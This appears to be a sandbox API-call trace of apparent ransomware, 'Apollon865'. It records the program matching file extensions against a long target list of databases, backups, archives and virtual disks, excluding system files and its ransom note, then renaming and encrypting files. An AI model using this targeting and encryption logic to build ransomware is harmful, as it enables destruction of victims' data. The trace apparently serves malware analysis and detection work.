	[0062.902] lstrlenW (lpString="trc") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.902] lstrlenW (lpString="trm") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0062.902] lstrlenW (lpString="udb") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0062.902] lstrlenW (lpString="udl") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0062.902] lstrlenW (lpString="usr") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0062.902] lstrlenW (lpString="v12") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0062.902] lstrlenW (lpString="vis") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0062.902] lstrlenW (lpString="vpd") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0062.902] lstrlenW (lpString="vvv") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0062.902] lstrlenW (lpString="wdb") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0062.902] lstrlenW (lpString="wmdb") returned 4
	[0062.902] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0062.902] lstrlenW (lpString="wrk") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0062.902] lstrlenW (lpString="xdb") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0062.902] lstrlenW (lpString="xld") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0062.902] lstrlenW (lpString="xmlff") returned 5
	[0062.902] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0062.902] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.Apollon865") returned 84
	[0062.903] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0062.906] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.906] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67) returned 1
	[0062.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0062.907] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0062.907] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.907] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0062.908] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154
	[0062.910] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0062.912] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0062.913] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.913] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0062.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.913] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.913] CloseHandle (hObject=0x154) returned 1
	[0062.913] CloseHandle (hObject=0x118) returned 1
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0062.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.914] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="Apollon865.txt.exe") returned 1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2=".") returned 1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="..") returned 1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="windows") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="bootmgr") returned 1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="temp") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="pagefile.sys") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="boot") returned 1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="ids.txt") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="ntuser.dat") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="perflogs") returned -1
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2="MSBuild") returned -1
	[0062.914] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.914] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned 73
	[0062.914] lstrcpyW (in: lpString1=0x119e684, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0062.914] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.914] lstrlenW (lpString="Apollon865") returned 10
	[0062.914] lstrlenW (lpString=".dll") returned 4
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0062.914] lstrlenW (lpString=".lnk") returned 4
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0062.914] lstrlenW (lpString=".ini") returned 4
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0062.914] lstrlenW (lpString=".sys") returned 4
	[0062.914] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0062.914] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.914] lstrlenW (lpString="bak") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="bak") returned -1
	[0062.915] lstrlenW (lpString="ba_") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="ba_") returned -1
	[0062.915] lstrlenW (lpString="dbb") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="dbb") returned -1
	[0062.915] lstrlenW (lpString="vmdk") returned 4
	[0062.915] lstrcmpiW (lpString1="k[1]", lpString2="vmdk") returned -1
	[0062.915] lstrlenW (lpString="rar") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="rar") returned -1
	[0062.915] lstrlenW (lpString="zip") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="zip") returned -1
	[0062.915] lstrlenW (lpString="tgz") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="tgz") returned -1
	[0062.915] lstrlenW (lpString="vbox") returned 4
	[0062.915] lstrcmpiW (lpString1="k[1]", lpString2="vbox") returned -1
	[0062.915] lstrlenW (lpString="vdi") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="vdi") returned -1
	[0062.915] lstrlenW (lpString="vhd") returned 3
	[0062.915] lstrcmpiW (lpString1="[1]", lpString2="vhd") returned -1
	[0062.915] lstrlenW (lpString="vhdx") returned 4
	[0062.915] lstrcmpiW (lpString1="k[1]", lpString2="vhdx") returned -1
	[0062.915] lstrlenW (lpString="avhd") returned 4
	[0062.915] lstrcmpiW (lpString1="k[1]", lpString2="avhd") returned 1
	[0062.915] lstrlenW (lpString="db") returned 2
	[0062.915] lstrcmpiW (lpString1="1]", lpString2="db") returned -1
	[0062.915] lstrlenW (lpString="db2") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="db2") returned -1
	[0062.916] lstrlenW (lpString="db3") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="db3") returned -1
	[0062.916] lstrlenW (lpString="dbf") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="dbf") returned -1
	[0062.916] lstrlenW (lpString="mdf") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="mdf") returned -1
	[0062.916] lstrlenW (lpString="mdb") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="mdb") returned -1
	[0062.916] lstrlenW (lpString="sql") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="sql") returned -1
	[0062.916] lstrlenW (lpString="sqlite") returned 6
	[0062.916] lstrcmpiW (lpString1="ink[1]", lpString2="sqlite") returned -1
	[0062.916] lstrlenW (lpString="sqlite3") returned 7
	[0062.916] lstrcmpiW (lpString1="link[1]", lpString2="sqlite3") returned -1
	[0062.916] lstrlenW (lpString="sqlitedb") returned 8
	[0062.916] lstrcmpiW (lpString1="wlink[1]", lpString2="sqlitedb") returned 1
	[0062.916] lstrlenW (lpString="xml") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="xml") returned -1
	[0062.916] lstrlenW (lpString="$er") returned 3
	[0062.916] lstrcmpiW (lpString1="[1]", lpString2="$er") returned 1
	[0062.916] lstrlenW (lpString="4dd") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="4dd") returned -1
	[0062.917] lstrlenW (lpString="4dl") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="4dl") returned -1
	[0062.917] lstrlenW (lpString="^^^") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="^^^") returned -1
	[0062.917] lstrlenW (lpString="abs") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="abs") returned -1
	[0062.917] lstrlenW (lpString="abx") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="abx") returned -1
	[0062.917] lstrlenW (lpString="accdb") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accdb") returned 1
	[0062.917] lstrlenW (lpString="accdc") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accdc") returned 1
	[0062.917] lstrlenW (lpString="accde") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accde") returned 1
	[0062.917] lstrlenW (lpString="accdr") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accdr") returned 1
	[0062.917] lstrlenW (lpString="accdt") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accdt") returned 1
	[0062.917] lstrlenW (lpString="accdw") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accdw") returned 1
	[0062.917] lstrlenW (lpString="accft") returned 5
	[0062.917] lstrcmpiW (lpString1="nk[1]", lpString2="accft") returned 1
	[0062.917] lstrlenW (lpString="adb") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.917] lstrlenW (lpString="adb") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.917] lstrlenW (lpString="ade") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="ade") returned -1
	[0062.917] lstrlenW (lpString="adf") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="adf") returned -1
	[0062.917] lstrlenW (lpString="adn") returned 3
	[0062.917] lstrcmpiW (lpString1="[1]", lpString2="adn") returned -1
	[0062.918] lstrlenW (lpString="adp") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="adp") returned -1
	[0062.918] lstrlenW (lpString="alf") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="alf") returned -1
	[0062.918] lstrlenW (lpString="ask") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="ask") returned -1
	[0062.918] lstrlenW (lpString="btr") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="btr") returned -1
	[0062.918] lstrlenW (lpString="cat") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="cat") returned -1
	[0062.918] lstrlenW (lpString="cdb") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="cdb") returned -1
	[0062.918] lstrlenW (lpString="ckp") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="ckp") returned -1
	[0062.918] lstrlenW (lpString="cma") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="cma") returned -1
	[0062.918] lstrlenW (lpString="cpd") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="cpd") returned -1
	[0062.918] lstrlenW (lpString="dacpac") returned 6
	[0062.918] lstrcmpiW (lpString1="ink[1]", lpString2="dacpac") returned 1
	[0062.918] lstrlenW (lpString="dad") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="dad") returned -1
	[0062.918] lstrlenW (lpString="dadiagrams") returned 10
	[0062.918] lstrlenW (lpString="daschema") returned 8
	[0062.918] lstrcmpiW (lpString1="wlink[1]", lpString2="daschema") returned 1
	[0062.918] lstrlenW (lpString="db-journal") returned 10
	[0062.918] lstrlenW (lpString="db-shm") returned 6
	[0062.918] lstrcmpiW (lpString1="ink[1]", lpString2="db-shm") returned 1
	[0062.918] lstrlenW (lpString="db-wal") returned 6
	[0062.918] lstrcmpiW (lpString1="ink[1]", lpString2="db-wal") returned 1
	[0062.918] lstrlenW (lpString="dbc") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="dbc") returned -1
	[0062.918] lstrlenW (lpString="dbs") returned 3
	[0062.918] lstrcmpiW (lpString1="[1]", lpString2="dbs") returned -1
	[0062.919] lstrlenW (lpString="dbt") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dbt") returned -1
	[0062.919] lstrlenW (lpString="dbv") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dbv") returned -1
	[0062.919] lstrlenW (lpString="dbx") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dbx") returned -1
	[0062.919] lstrlenW (lpString="dcb") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dcb") returned -1
	[0062.919] lstrlenW (lpString="dct") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dct") returned -1
	[0062.919] lstrlenW (lpString="dcx") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dcx") returned -1
	[0062.919] lstrlenW (lpString="ddl") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="ddl") returned -1
	[0062.919] lstrlenW (lpString="dlis") returned 4
	[0062.919] lstrcmpiW (lpString1="k[1]", lpString2="dlis") returned 1
	[0062.919] lstrlenW (lpString="dp1") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dp1") returned -1
	[0062.919] lstrlenW (lpString="dqy") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dqy") returned -1
	[0062.919] lstrlenW (lpString="dsk") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dsk") returned -1
	[0062.919] lstrlenW (lpString="dsn") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dsn") returned -1
	[0062.919] lstrlenW (lpString="dtsx") returned 4
	[0062.919] lstrcmpiW (lpString1="k[1]", lpString2="dtsx") returned 1
	[0062.919] lstrlenW (lpString="dxl") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="dxl") returned -1
	[0062.919] lstrlenW (lpString="eco") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="eco") returned -1
	[0062.919] lstrlenW (lpString="ecx") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="ecx") returned -1
	[0062.919] lstrlenW (lpString="edb") returned 3
	[0062.919] lstrcmpiW (lpString1="[1]", lpString2="edb") returned -1
	[0062.920] lstrlenW (lpString="epim") returned 4
	[0062.920] lstrcmpiW (lpString1="k[1]", lpString2="epim") returned 1
	[0062.920] lstrlenW (lpString="fcd") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fcd") returned -1
	[0062.920] lstrlenW (lpString="fdb") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fdb") returned -1
	[0062.920] lstrlenW (lpString="fic") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fic") returned -1
	[0062.920] lstrlenW (lpString="flexolibrary") returned 12
	[0062.920] lstrlenW (lpString="fm5") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fm5") returned -1
	[0062.920] lstrlenW (lpString="fmp") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fmp") returned -1
	[0062.920] lstrlenW (lpString="fmp12") returned 5
	[0062.920] lstrcmpiW (lpString1="nk[1]", lpString2="fmp12") returned 1
	[0062.920] lstrlenW (lpString="fmpsl") returned 5
	[0062.920] lstrcmpiW (lpString1="nk[1]", lpString2="fmpsl") returned 1
	[0062.920] lstrlenW (lpString="fol") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fol") returned -1
	[0062.920] lstrlenW (lpString="fp3") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fp3") returned -1
	[0062.920] lstrlenW (lpString="fp4") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fp4") returned -1
	[0062.920] lstrlenW (lpString="fp5") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fp5") returned -1
	[0062.920] lstrlenW (lpString="fp7") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fp7") returned -1
	[0062.920] lstrlenW (lpString="fpt") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="fpt") returned -1
	[0062.920] lstrlenW (lpString="frm") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="frm") returned -1
	[0062.920] lstrlenW (lpString="gdb") returned 3
	[0062.920] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.920] lstrlenW (lpString="gdb") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.921] lstrlenW (lpString="grdb") returned 4
	[0062.921] lstrcmpiW (lpString1="k[1]", lpString2="grdb") returned 1
	[0062.921] lstrlenW (lpString="gwi") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="gwi") returned -1
	[0062.921] lstrlenW (lpString="hdb") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="hdb") returned -1
	[0062.921] lstrlenW (lpString="his") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="his") returned -1
	[0062.921] lstrlenW (lpString="ib") returned 2
	[0062.921] lstrcmpiW (lpString1="1]", lpString2="ib") returned -1
	[0062.921] lstrlenW (lpString="idb") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="idb") returned -1
	[0062.921] lstrlenW (lpString="ihx") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="ihx") returned -1
	[0062.921] lstrlenW (lpString="itdb") returned 4
	[0062.921] lstrcmpiW (lpString1="k[1]", lpString2="itdb") returned 1
	[0062.921] lstrlenW (lpString="itw") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="itw") returned -1
	[0062.921] lstrlenW (lpString="jet") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="jet") returned -1
	[0062.921] lstrlenW (lpString="jtx") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="jtx") returned -1
	[0062.921] lstrlenW (lpString="kdb") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="kdb") returned -1
	[0062.921] lstrlenW (lpString="kexi") returned 4
	[0062.921] lstrcmpiW (lpString1="k[1]", lpString2="kexi") returned -1
	[0062.921] lstrlenW (lpString="kexic") returned 5
	[0062.921] lstrcmpiW (lpString1="nk[1]", lpString2="kexic") returned 1
	[0062.921] lstrlenW (lpString="kexis") returned 5
	[0062.921] lstrcmpiW (lpString1="nk[1]", lpString2="kexis") returned 1
	[0062.921] lstrlenW (lpString="lgc") returned 3
	[0062.921] lstrcmpiW (lpString1="[1]", lpString2="lgc") returned -1
	[0062.921] lstrlenW (lpString="lwx") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="lwx") returned -1
	[0062.922] lstrlenW (lpString="maf") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="maf") returned -1
	[0062.922] lstrlenW (lpString="maq") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="maq") returned -1
	[0062.922] lstrlenW (lpString="mar") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mar") returned -1
	[0062.922] lstrlenW (lpString="marshal") returned 7
	[0062.922] lstrcmpiW (lpString1="link[1]", lpString2="marshal") returned -1
	[0062.922] lstrlenW (lpString="mas") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mas") returned -1
	[0062.922] lstrlenW (lpString="mav") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mav") returned -1
	[0062.922] lstrlenW (lpString="maw") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="maw") returned -1
	[0062.922] lstrlenW (lpString="mdbhtml") returned 7
	[0062.922] lstrcmpiW (lpString1="link[1]", lpString2="mdbhtml") returned -1
	[0062.922] lstrlenW (lpString="mdn") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mdn") returned -1
	[0062.922] lstrlenW (lpString="mdt") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mdt") returned -1
	[0062.922] lstrlenW (lpString="mfd") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mfd") returned -1
	[0062.922] lstrlenW (lpString="mpd") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mpd") returned -1
	[0062.922] lstrlenW (lpString="mrg") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mrg") returned -1
	[0062.922] lstrlenW (lpString="mud") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mud") returned -1
	[0062.922] lstrlenW (lpString="mwb") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="mwb") returned -1
	[0062.922] lstrlenW (lpString="myd") returned 3
	[0062.922] lstrcmpiW (lpString1="[1]", lpString2="myd") returned -1
	[0062.922] lstrlenW (lpString="ndf") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="ndf") returned -1
	[0062.923] lstrlenW (lpString="nnt") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="nnt") returned -1
	[0062.923] lstrlenW (lpString="nrmlib") returned 6
	[0062.923] lstrcmpiW (lpString1="ink[1]", lpString2="nrmlib") returned -1
	[0062.923] lstrlenW (lpString="ns2") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="ns2") returned -1
	[0062.923] lstrlenW (lpString="ns3") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="ns3") returned -1
	[0062.923] lstrlenW (lpString="ns4") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="ns4") returned -1
	[0062.923] lstrlenW (lpString="nsf") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="nsf") returned -1
	[0062.923] lstrlenW (lpString="nv") returned 2
	[0062.923] lstrcmpiW (lpString1="1]", lpString2="nv") returned -1
	[0062.923] lstrlenW (lpString="nv2") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="nv2") returned -1
	[0062.923] lstrlenW (lpString="nwdb") returned 4
	[0062.923] lstrcmpiW (lpString1="k[1]", lpString2="nwdb") returned -1
	[0062.923] lstrlenW (lpString="nyf") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="nyf") returned -1
	[0062.923] lstrlenW (lpString="odb") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.923] lstrlenW (lpString="odb") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.923] lstrlenW (lpString="oqy") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="oqy") returned -1
	[0062.923] lstrlenW (lpString="ora") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="ora") returned -1
	[0062.923] lstrlenW (lpString="orx") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="orx") returned -1
	[0062.923] lstrlenW (lpString="owc") returned 3
	[0062.923] lstrcmpiW (lpString1="[1]", lpString2="owc") returned -1
	[0062.923] lstrlenW (lpString="p96") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="p96") returned -1
	[0062.924] lstrlenW (lpString="p97") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="p97") returned -1
	[0062.924] lstrlenW (lpString="pan") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="pan") returned -1
	[0062.924] lstrlenW (lpString="pdb") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="pdb") returned -1
	[0062.924] lstrlenW (lpString="pdm") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="pdm") returned -1
	[0062.924] lstrlenW (lpString="pnz") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="pnz") returned -1
	[0062.924] lstrlenW (lpString="qry") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="qry") returned -1
	[0062.924] lstrlenW (lpString="qvd") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="qvd") returned -1
	[0062.924] lstrlenW (lpString="rbf") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="rbf") returned -1
	[0062.924] lstrlenW (lpString="rctd") returned 4
	[0062.924] lstrcmpiW (lpString1="k[1]", lpString2="rctd") returned -1
	[0062.924] lstrlenW (lpString="rod") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="rod") returned -1
	[0062.924] lstrlenW (lpString="rodx") returned 4
	[0062.924] lstrcmpiW (lpString1="k[1]", lpString2="rodx") returned -1
	[0062.924] lstrlenW (lpString="rpd") returned 3
